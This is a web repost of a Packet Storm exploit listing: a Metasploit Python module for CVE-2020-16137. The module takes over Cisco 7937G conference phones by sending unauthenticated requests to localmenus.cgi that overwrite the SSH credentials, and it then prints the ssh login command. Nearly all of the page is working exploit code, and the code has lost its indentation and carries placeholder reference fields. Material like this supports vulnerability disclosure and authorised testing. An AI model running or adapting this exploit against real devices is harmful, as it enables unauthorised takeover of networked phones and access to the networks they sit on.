Cisco 7937G Privilege Escalation ≈ Packet Storm – Digitalmunition




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Published on August 11th, 2020 📆 | 6693 Views ⚑

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Cisco 7937G Privilege Escalation ≈ Packet Storm

# Exploit Title: Cisco 7937G Prvilege Escalation MSF Module
# Date: 2020-08-10
# Exploit Author: Cody Martin
# Vendor Homepage: https://cisco.com
# Version: < =SIP-1-4-5-7
# Tested On: SIP-1-4-5-5, SIP-1-4-5-7
# CVE: CVE-2020-16137

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# standard modules
import logging

# extra modules
dependency_missing = False

try:
import requests
except ImportError:
dependency_missing = True

from metasploit import module

metadata = {
‘name’: ‘Cisco 7937G SSH Privilege Escalation’,
‘description’: ”’
Sets SSH credentials to whatever is supplied.
”’,
‘authors’: [
‘Cody Martin’
],
‘date’: ‘2020-06-02’,
‘license’: ‘GPL_LICENSE’,
‘references’: [
{‘type’: ‘url’, ‘ref’: ‘‘},
{‘type’: ‘cve’, ‘ref’: ‘2020-#’},
{‘type’: ‘edb’, ‘ref’: ‘#’}
],
‘type’: ‘single_scanner’,
‘options’: {
‘rhost’: {‘type’: ‘address’, ‘description’: ‘Target address’, ‘required’: True, ‘default’: ”},
‘USER’: {‘type’: ‘string’, ‘description’: ‘Desired username’, ‘required’: True, ‘default’: ”},
‘PASS’: {‘type’: ‘string’, ‘description’: ‘Desired password’, ‘required’: True, ‘default’: ”},
‘TIMEOUT’: {‘type’: ‘int’, ‘description’: ‘Timeout in seconds’, ‘required’: True, ‘default’: 5}
}
}

def run(args):
module.LogHandler.setup(msg_prefix='{} – ‘.format(args[‘rhost’]))
if dependency_missing:
logging.error(‘Module dependency (requests) is missing, cannot continue’)
return

# Exploit
url = “http://{}/localmenus.cgi”.format(args[‘rhost’])
payload_user = {“func”: “403”, “set”: “401”, “name1”: args[‘USER’], “name2”: args[‘USER’]}
payload_pass = {“func”: “403”, “set”: “402”, “pwd1”: args[‘PASS’], “pwd2”: args[‘PASS’]}
logging.info(“FIRING ZE MIZZLES!”)
try:
r = requests.post(url=url, params=payload_user, timeout=int(args[‘TIMEOUT’]))
if r.status_code != 200:
logging.error(“Device doesn’t appear to be functioning or web access is not enabled.”)
return

r = requests.post(url=url, params=payload_pass, timeout=int(args[‘TIMEOUT’]))
if r.status_code != 200:
logging.error(“Device doesn’t appear to be functioning or web access is not enabled.”)
return
except requests.exceptions.RequestException:
logging.error(“Device doesn’t appear to be functioning or web access is not enabled.”)
return

logging.info(“SSH attack finished!”)
logging.info((“Try to login using the supplied credentials {}:{}”).format(args[‘USER’], args[‘PASS’]))
logging.info(“You must specify the key exchange when connecting or the device will be DoS’d!”)
logging.info((“ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 {}@{}”).format(args[‘USER’], args[‘rhost’]))

return

if __name__ == “__main__”:
module.run(metadata, run)

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